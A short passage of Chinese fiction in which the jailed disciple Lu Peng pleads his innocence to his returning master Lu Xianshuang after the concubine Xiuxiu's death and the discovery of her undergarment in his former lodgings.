路过的陆衔霜现在又路过牢房,陆鹏看到师父回来,激动的一把扑到门口栏杆上,“师父你可算回来了,我冤枉啊,你知道的,我除了桃花心里再没有别人,怎么可能跟那个秀秀姨娘偷情!” 秀秀姨娘死了,死之前曾经有人见过陆鹏,衙门还在他从前住的地方找出秀秀姨娘的贴身内衣,